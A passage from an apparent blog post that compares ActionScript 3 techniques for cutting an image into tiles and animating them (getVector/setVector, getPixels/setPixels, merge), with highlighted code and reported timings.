	<span style="color: #000000; font-weight: bold;">var</span> rect:Rectangle = <span style="color: #000000; font-weight: bold;">new</span> Rectangle<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">0</span>,<span style="color: #cc66cc;">0</span>,tileWidth,tileHeight<span style="color: #66cc66;">&#41;</span>;
	<span style="color: #000000; font-weight: bold;">var</span> startTime:<span style="color: #0066CC;">Number</span> = <span style="color: #0066CC;">getTimer</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
	<span style="color: #b1b100;">for</span> <span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">var</span> i:<span style="color: #0066CC;">int</span> = <span style="color: #cc66cc;">0</span>; i<span style="color: #66cc66;">&lt;</span>rows; i++<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
		<span style="color: #b1b100;">for</span> <span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">var</span> j:<span style="color: #0066CC;">int</span> = <span style="color: #cc66cc;">0</span>; j<span style="color: #66cc66;">&lt;</span>cols; j ++<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
			 rect.<span style="color: #006600;">x</span> = j <span style="color: #66cc66;">*</span> tileWidth;
			 rect.<span style="color: #006600;">y</span> = i <span style="color: #66cc66;">*</span> tileHeight;
			 tiles<span style="color: #66cc66;">&#91;</span>tiles.<span style="color: #0066CC;">length</span><span style="color: #66cc66;">&#93;</span> = image.<span style="color: #006600;">getVector</span><span style="color: #66cc66;">&#40;</span>rect<span style="color: #66cc66;">&#41;</span>;
			 rect.<span style="color: #006600;">x</span> += <span style="color: #cc66cc;">25</span>;
			 rect.<span style="color: #006600;">y</span> += <span style="color: #cc66cc;">25</span>;
			 sX<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> = rect.<span style="color: #006600;">x</span>;
			 sY<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> = rect.<span style="color: #006600;">y</span>;
			 locX<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> = rX<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> = -rect.<span style="color: #0066CC;">width</span> <span style="color: #66cc66;">*</span> <span style="color: #cc66cc;">2</span>
			 locY<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> = rY<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> =  <span style="color: #0066CC;">Math</span>.<span style="color: #0066CC;">random</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">*</span> <span style="color: #0066CC;">stage</span>.<span style="color: #006600;">stageHeight</span>;
			 setTimeout<span style="color: #66cc66;">&#40;</span>startAnimation, inc <span style="color: #66cc66;">*</span><span style="color: #cc66cc;">4</span> + <span style="color: #cc66cc;">100</span>, inc, rect.<span style="color: #006600;">x</span>, rect.<span style="color: #006600;">y</span><span style="color: #66cc66;">&#41;</span>;
			 inc++;
		<span style="color: #66cc66;">&#125;</span>
	<span style="color: #66cc66;">&#125;</span>
	<span style="color: #0066CC;">trace</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;vector push:&quot;</span>,<span style="color: #0066CC;">getTimer</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>-startTime,<span style="color: #ff0000;">&quot;ms&quot;</span><span style="color: #66cc66;">&#41;</span>;
	addEventListener<span style="color: #66cc66;">&#40;</span>Event.<span style="color: #006600;">ENTER_FRAME</span>, onLoop<span style="color: #66cc66;">&#41;</span>;
<span style="color: #66cc66;">&#125;</span>
<span style="color: #000000; font-weight: bold;">function</span> startAnimation<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">index</span>:<span style="color: #0066CC;">int</span>, dx:<span style="color: #0066CC;">Number</span>, dy:<span style="color: #0066CC;">Number</span><span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span><span style="color: #66cc66;">&#123;</span>
	<span style="color: #000000; font-weight: bold;">var</span> interval:<span style="color: #0066CC;">Number</span>;
	<span style="color: #000000; font-weight: bold;">var</span> animate:<span style="color: #000000; font-weight: bold;">Function</span> = <span style="color: #000000; font-weight: bold;">function</span><span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">index</span>:<span style="color: #0066CC;">int</span><span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span><span style="color: #66cc66;">&#123;</span>
		locX<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span> += <span style="color: #66cc66;">&#40;</span>dx - locX<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">/</span> <span style="color: #cc66cc;">4</span>;
		locY<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span> += <span style="color: #66cc66;">&#40;</span>dy - locY<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">/</span> <span style="color: #cc66cc;">4</span>;
		<span style="color: #b1b100;">if</span> <span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">Math</span>.<span style="color: #0066CC;">abs</span><span style="color: #66cc66;">&#40;</span>locX<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span> - dx<span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&lt;</span><span style="color: #cc66cc;">1</span> <span style="color: #66cc66;">&amp;&amp;</span> <span style="color: #0066CC;">Math</span>.<span style="color: #0066CC;">abs</span><span style="color: #66cc66;">&#40;</span>locY<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span> - dy<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&lt;</span><span style="color: #cc66cc;">1</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
			locX<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span> = dx;
			locY<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span> = dy;
			<span style="color: #0066CC;">clearInterval</span><span style="color: #66cc66;">&#40;</span>interval<span style="color: #66cc66;">&#41;</span>;
		<span style="color: #66cc66;">&#125;</span>
	<span style="color: #66cc66;">&#125;</span>
   interval = <span style="color: #0066CC;">setInterval</span><span style="color: #66cc66;">&#40;</span>animate, <span style="color: #cc66cc;">32</span>, <span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #66cc66;">&#125;</span>
<span style="color: #000000; font-weight: bold;">var</span> canvas:BitmapData = <span style="color: #000000; font-weight: bold;">new</span> BitmapData<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">stage</span>.<span style="color: #006600;">stageWidth</span>,<span style="color: #0066CC;">stage</span>.<span style="color: #006600;">stageHeight</span>,<span style="color: #000000; font-weight: bold;">false</span>, 0xFFFFFF<span style="color: #66cc66;">&#41;</span>;
addChild<span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">new</span> Bitmap<span style="color: #66cc66;">&#40;</span>canvas<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> loc:Point = <span style="color: #000000; font-weight: bold;">new</span> Point<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
&nbsp;
<span style="color: #000000; font-weight: bold;">function</span> onLoop<span style="color: #66cc66;">&#40;</span>evt:Event<span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span> <span style="color: #66cc66;">&#123;</span>
	  canvas.<span style="color: #006600;">fillRect</span><span style="color: #66cc66;">&#40;</span>canvas.<span style="color: #006600;">rect</span>, 0xFFFFFF<span style="color: #66cc66;">&#41;</span>;
	  <span style="color: #000000; font-weight: bold;">var</span> tmpVec:Vector.<span style="color: #66cc66;">&lt;</span>uint<span style="color: #66cc66;">&gt;</span>;
	  <span style="color: #000000; font-weight: bold;">var</span> startTime:<span style="color: #0066CC;">Number</span> = <span style="color: #0066CC;">getTimer</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
	  <span style="color: #b1b100;">for</span> <span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">var</span> i:<span style="color: #0066CC;">int</span> = <span style="color: #cc66cc;">0</span>; i<span style="color: #66cc66;">&lt;</span>tiles.<span style="color: #0066CC;">length</span>; i++<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
		  	tmpVec = tiles<span style="color: #66cc66;">&#91;</span>i<span style="color: #66cc66;">&#93;</span>;
			tileRect.<span style="color: #006600;">x</span> = locX<span style="color: #66cc66;">&#91;</span>i<span style="color: #66cc66;">&#93;</span>;
			tileRect.<span style="color: #006600;">y</span> = locY<span style="color: #66cc66;">&#91;</span>i<span style="color: #66cc66;">&#93;</span>;
			canvas.<span style="color: #006600;">setVector</span><span style="color: #66cc66;">&#40;</span>tileRect,tmpVec<span style="color: #66cc66;">&#41;</span>;
	  <span style="color: #66cc66;">&#125;</span>
	  <span style="color: #0066CC;">trace</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;vector push:&quot;</span>,<span style="color: #0066CC;">getTimer</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>-startTime,<span style="color: #ff0000;">&quot;ms&quot;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #66cc66;">&#125;</span></pre></td></tr></table></div>

<p>on my machine it takes only <strong>~9</strong> ms to extract tiles slices (yes, 3 times faster!!!) and ~1ms for pushing them all in the canvas for each loop iteration</p>
<p>Third strike: <strong>getPixels\setPixels</strong></p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p144code7'); return false;">View Code</a> ACTIONSCRIPT</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table width="100%" ><tr id="p1447"><td class="code" id="p144code7"><pre class="actionscript" style="font-family:monospace;"><span style="color: #66cc66;">&#91;</span>SWF<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">width</span>=<span style="color: #cc66cc;">650</span>, <span style="color: #0066CC;">height</span>=<span style="color: #cc66cc;">650</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#93;</span>
<span style="color: #000000; font-weight: bold;">var</span> loader:Loader = <span style="color: #000000; font-weight: bold;">new</span> Loader<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
loader.<span style="color: #0066CC;">load</span><span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">new</span> URLRequest<span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;http://actionsnippet.com/wp-content/chair.jpg&quot;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
loader.<span style="color: #006600;">contentLoaderInfo</span>.<span style="color: #006600;">addEventListener</span><span style="color: #66cc66;">&#40;</span>Event.<span style="color: #006600;">COMPLETE</span>, onLoaded<span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> w:<span style="color: #0066CC;">Number</span>;
<span style="color: #000000; font-weight: bold;">var</span> h:<span style="color: #0066CC;">Number</span>;
<span style="color: #000000; font-weight: bold;">var</span> rows:<span style="color: #0066CC;">Number</span> = <span style="color: #cc66cc;">20</span>;
<span style="color: #000000; font-weight: bold;">var</span> cols:<span style="color: #0066CC;">Number</span> = <span style="color: #cc66cc;">20</span>;
<span style="color: #000000; font-weight: bold;">var</span> tiles:Vector.<span style="color: #66cc66;">&lt;</span>ByteArray<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>ByteArray<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> tileRect:Rectangle;
<span style="color: #000000; font-weight: bold;">var</span> locX:Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> locY:Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> rX:Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> rY:Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> sX:Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> sY:Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">function</span> onLoaded<span style="color: #66cc66;">&#40;</span>evt:Event<span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span><span style="color: #66cc66;">&#123;</span>
	w = evt.<span style="color: #0066CC;">target</span>.<span style="color: #0066CC;">width</span>;
	h = evt.<span style="color: #0066CC;">target</span>.<span style="color: #0066CC;">height</span>;
	<span style="color: #000000; font-weight: bold;">var</span> image:BitmapData = Bitmap<span style="color: #66cc66;">&#40;</span>evt.<span style="color: #0066CC;">target</span>.<span style="color: #006600;">content</span><span style="color: #66cc66;">&#41;</span>.<span style="color: #006600;">bitmapData</span>;
	<span style="color: #000000; font-weight: bold;">var</span> tileWidth:<span style="color: #0066CC;">Number</span> = w <span style="color: #66cc66;">/</span> cols;
	<span style="color: #000000; font-weight: bold;">var</span> tileHeight:<span style="color: #0066CC;">Number</span> = h <span style="color: #66cc66;">/</span> rows;
	tileRect = <span style="color: #000000; font-weight: bold;">new</span> Rectangle<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">0</span>,<span style="color: #cc66cc;">0</span>,tileWidth,tileHeight<span style="color: #66cc66;">&#41;</span>;
	<span style="color: #000000; font-weight: bold;">var</span> inc:<span style="color: #0066CC;">int</span> = <span style="color: #cc66cc;">0</span>;
	<span style="color: #000000; font-weight: bold;">var</span> pnt:Point = <span style="color: #000000; font-weight: bold;">new</span> Point<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
	<span style="color: #000000; font-weight: bold;">var</span> rect:Rectangle = <span style="color: #000000; font-weight: bold;">new</span> Rectangle<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">0</span>,<span style="color: #cc66cc;">0</span>,tileWidth,tileHeight<span style="color: #66cc66;">&#41;</span>;
	<span style="color: #000000; font-weight: bold;">var</span> startTime:<span style="color: #0066CC;">Number</span> = <span style="color: #0066CC;">getTimer</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
	<span style="color: #b1b100;">for</span> <span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">var</span> i:<span style="color: #0066CC;">int</span> = <span style="color: #cc66cc;">0</span>; i<span style="color: #66cc66;">&lt;</span>rows; i++<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
		<span style="color: #b1b100;">for</span> <span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">var</span> j:<span style="color: #0066CC;">int</span> = <span style="color: #cc66cc;">0</span>; j<span style="color: #66cc66;">&lt;</span>cols; j ++<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
			 rect.<span style="color: #006600;">x</span> = j <span style="color: #66cc66;">*</span> tileWidth;
			 rect.<span style="color: #006600;">y</span> = i <span style="color: #66cc66;">*</span> tileHeight;
			 tiles<span style="color: #66cc66;">&#91;</span>tiles.<span style="color: #0066CC;">length</span><span style="color: #66cc66;">&#93;</span> = image.<span style="color: #006600;">getPixels</span><span style="color: #66cc66;">&#40;</span>rect<span style="color: #66cc66;">&#41;</span>;
			 rect.<span style="color: #006600;">x</span> += <span style="color: #cc66cc;">25</span>;
			 rect.<span style="color: #006600;">y</span> += <span style="color: #cc66cc;">25</span>;
			 sX<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> = rect.<span style="color: #006600;">x</span>;
			 sY<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> = rect.<span style="color: #006600;">y</span>;
			 locX<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> = rX<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> = -rect.<span style="color: #0066CC;">width</span> <span style="color: #66cc66;">*</span> <span style="color: #cc66cc;">2</span>
			 locY<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> = rY<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> =  <span style="color: #0066CC;">Math</span>.<span style="color: #0066CC;">random</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">*</span> <span style="color: #0066CC;">stage</span>.<span style="color: #006600;">stageHeight</span>;
			 setTimeout<span style="color: #66cc66;">&#40;</span>startAnimation, inc <span style="color: #66cc66;">*</span><span style="color: #cc66cc;">4</span> + <span style="color: #cc66cc;">100</span>, inc, rect.<span style="color: #006600;">x</span>, rect.<span style="color: #006600;">y</span><span style="color: #66cc66;">&#41;</span>;
			 inc++;
		<span style="color: #66cc66;">&#125;</span>
	<span style="color: #66cc66;">&#125;</span>
	<span style="color: #0066CC;">trace</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;getPixels&quot;</span>,<span style="color: #0066CC;">getTimer</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>-startTime,<span style="color: #ff0000;">&quot;ms&quot;</span><span style="color: #66cc66;">&#41;</span>;
	addEventListener<span style="color: #66cc66;">&#40;</span>Event.<span style="color: #006600;">ENTER_FRAME</span>, onLoop<span style="color: #66cc66;">&#41;</span>;
<span style="color: #66cc66;">&#125;</span>
<span style="color: #000000; font-weight: bold;">function</span> startAnimation<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">index</span>:<span style="color: #0066CC;">int</span>, dx:<span style="color: #0066CC;">Number</span>, dy:<span style="color: #0066CC;">Number</span><span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span><span style="color: #66cc66;">&#123;</span>
	<span style="color: #000000; font-weight: bold;">var</span> interval:<span style="color: #0066CC;">Number</span>;
	<span style="color: #000000; font-weight: bold;">var</span> animate:<span style="color: #000000; font-weight: bold;">Function</span> = <span style="color: #000000; font-weight: bold;">function</span><span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">index</span>:<span style="color: #0066CC;">int</span><span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span><span style="color: #66cc66;">&#123;</span>
		locX<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span> += <span style="color: #66cc66;">&#40;</span>dx - locX<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">/</span> <span style="color: #cc66cc;">4</span>;
		locY<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span> += <span style="color: #66cc66;">&#40;</span>dy - locY<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">/</span> <span style="color: #cc66cc;">4</span>;
		<span style="color: #b1b100;">if</span> <span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">Math</span>.<span style="color: #0066CC;">abs</span><span style="color: #66cc66;">&#40;</span>locX<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span> - dx<span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&lt;</span><span style="color: #cc66cc;">1</span> <span style="color: #66cc66;">&amp;&amp;</span> <span style="color: #0066CC;">Math</span>.<span style="color: #0066CC;">abs</span><span style="color: #66cc66;">&#40;</span>locY<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span> - dy<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&lt;</span><span style="color: #cc66cc;">1</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
			locX<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span> = dx;
			locY<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span> = dy;
			<span style="color: #0066CC;">clearInterval</span><span style="color: #66cc66;">&#40;</span>interval<span style="color: #66cc66;">&#41;</span>;
		<span style="color: #66cc66;">&#125;</span>
	<span style="color: #66cc66;">&#125;</span>
   interval = <span style="color: #0066CC;">setInterval</span><span style="color: #66cc66;">&#40;</span>animate, <span style="color: #cc66cc;">32</span>, <span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #66cc66;">&#125;</span>
<span style="color: #000000; font-weight: bold;">var</span> canvas:BitmapData = <span style="color: #000000; font-weight: bold;">new</span> BitmapData<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">stage</span>.<span style="color: #006600;">stageWidth</span>,<span style="color: #0066CC;">stage</span>.<span style="color: #006600;">stageHeight</span>,<span style="color: #000000; font-weight: bold;">false</span>, 0xFFFFFF<span style="color: #66cc66;">&#41;</span>;
addChild<span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">new</span> Bitmap<span style="color: #66cc66;">&#40;</span>canvas<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> loc:Point = <span style="color: #000000; font-weight: bold;">new</span> Point<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
&nbsp;
<span style="color: #000000; font-weight: bold;">function</span> onLoop<span style="color: #66cc66;">&#40;</span>evt:Event<span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span> <span style="color: #66cc66;">&#123;</span>
	  canvas.<span style="color: #006600;">fillRect</span><span style="color: #66cc66;">&#40;</span>canvas.<span style="color: #006600;">rect</span>, 0xFFFFFF<span style="color: #66cc66;">&#41;</span>;
	  <span style="color: #000000; font-weight: bold;">var</span> startTime:<span style="color: #0066CC;">Number</span> = <span style="color: #0066CC;">getTimer</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
	  <span style="color: #b1b100;">for</span> <span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">var</span> i:<span style="color: #0066CC;">int</span> = <span style="color: #cc66cc;">0</span>; i<span style="color: #66cc66;">&lt;</span>tiles.<span style="color: #0066CC;">length</span>; i++<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
			tileRect.<span style="color: #006600;">x</span> = locX<span style="color: #66cc66;">&#91;</span>i<span style="color: #66cc66;">&#93;</span>;
			tileRect.<span style="color: #006600;">y</span> = locY<span style="color: #66cc66;">&#91;</span>i<span style="color: #66cc66;">&#93;</span>;
			canvas.<span style="color: #006600;">setPixels</span><span style="color: #66cc66;">&#40;</span>tileRect,tiles<span style="color: #66cc66;">&#91;</span>i<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>;
			tiles<span style="color: #66cc66;">&#91;</span>i<span style="color: #66cc66;">&#93;</span>.<span style="color: #0066CC;">position</span> = <span style="color: #cc66cc;">0</span>;
	  <span style="color: #66cc66;">&#125;</span>
	  <span style="color: #0066CC;">trace</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;setPixels&quot;</span>,<span style="color: #0066CC;">getTimer</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>-startTime,<span style="color: #ff0000;">&quot;ms&quot;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #66cc66;">&#125;</span></pre></td></tr></table></div>

<p>a nice one, <strong>~ 17</strong> ms to extract and ~2ms to loop on my mac, faster than copyPixels but vectors are still leading&#8230;</p>
<p>Fourth strike: <strong>merge</strong></p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p144code8'); return false;">View Code</a> ACTIONSCRIPT</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table width="100%" ><tr id="p1448"><td class="code" id="p144code8"><pre class="actionscript" style="font-family:monospace;"><span style="color: #66cc66;">&#91;</span>SWF<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">width</span>=<span style="color: #cc66cc;">650</span>, <span style="color: #0066CC;">height</span>=<span style="color: #cc66cc;">650</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#93;</span>
<span style="color: #000000; font-weight: bold;">var</span> loader:Loader = <span style="color: #000000; font-weight: bold;">new</span> Loader<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
loader.<span style="color: #0066CC;">load</span><span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">new</span> URLRequest<span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;http://actionsnippet.com/wp-content/chair.jpg&quot;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
loader.<span style="color: #006600;">contentLoaderInfo</span>.<span style="color: #006600;">addEventListener</span><span style="color: #66cc66;">&#40;</span>Event.<span style="color: #006600;">COMPLETE</span>, onLoaded<span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> w:<span style="color: #0066CC;">Number</span>;
<span style="color: #000000; font-weight: bold;">var</span> h:<span style="color: #0066CC;">Number</span>;
<span style="color: #000000; font-weight: bold;">var</span> rows:<span style="color: #0066CC;">Number</span> = <span style="color: #cc66cc;">20</span>;
<span style="color: #000000; font-weight: bold;">var</span> cols:<span style="color: #0066CC;">Number</span> = <span style="color: #cc66cc;">20</span>;
<span style="color: #000000; font-weight: bold;">var</span> tiles:Vector.<span style="color: #66cc66;">&lt;</span>BitmapData<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>BitmapData<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> locX:Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> locY:Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> rX:Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
